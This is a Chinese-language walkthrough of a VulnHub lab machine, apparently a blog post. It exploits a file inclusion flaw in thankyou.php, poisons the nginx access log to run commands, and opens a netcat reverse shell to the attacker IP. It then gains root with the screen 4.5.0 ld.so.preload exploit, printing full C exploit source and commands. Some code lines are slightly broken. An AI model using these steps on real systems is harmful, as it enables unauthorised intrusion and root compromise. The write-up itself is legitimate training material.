一:信息收集
1:主机发现
arp-scan -I eth0 10.9.23.0/24
kali的ip
10.9.23.112
靶机IP
10.9.23.204
2:端口扫描
nmap -A -p- -T4 10.9.23.204
3:端口探测
发现contact里面他有输入框
发现底下这个页脚会发生变化,猜测存在文件包含漏洞,先扫一下目录
4:目录遍历
dirsearch -u 10.9.23.204
/footer.php
二:漏洞利用
1:文件包含漏洞
发现是thankyou.php中包含了footer.php页面
测试文件包含漏洞的测试方法
?file=/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://xxx/1.php
http://10.9.23.204/thankyou.php?file=/etc/passwd
2:一句话木马
打开bp开始抓包
发现返回400,先验证一下是否成功:
查看一下日志信息,nginx日志的默认日志路劲为/var/log/nginx/,一般nginx的日志都有access.log和error.log文件,随便访问一个试试:
/thankyou.php?file=/var/log/nginx/access.log&cmd=ls -l
证明已经写入了access.log文件,写入反弹shell并监听:
/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 10.9.23.112 6666
三:提权
获取shell,进行升级
python -c 'import pty;pty.spawn("/bin/bash")';
查看当前用户可以使用的命令:
find / -perm /4000
发现了一个比较特殊的文件 screen 4.5.0,当然其他文件比较常见,通过经验判断是不能提权的。接下来就用searchsploit搜索一下这个比较特殊的文件。
searchsploit screen 4.5.0
searchsploit -m 41154.sh
cat 41154.sh
经过测试这个文件直接上传执行不会成功,需要分别将里面的代码分为三个部分,分别编译后执行才能成功。
创建并编译libhax.c
touch libhax.c
vim libhax.c
include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
创建rootshell.c并编译文件
touch rootshell.c
vim rootshell.c
include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译
gcc -o rootshell rootshell.c
开启80端口
python3 -m http.server 80
上传文件,要注意的是需要上传到 /tmp
目录下,因为代码中使用的是绝对路径。
wget http://10.9.23.112/libhax.so /tmp
wget http://10.9.23.112/rootshell /tmp
给 getshell.sh
赋予执行权限,然后执行。
chmod 777 getroot.sh
./getroot.sh
根据提权说明,使用方法
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权
标签:tmp,libhax,log,10.9,dc,vulnhub,rootshell,靶机,php From: https://www.cnblogs.com/woaishuaidan/p/18065943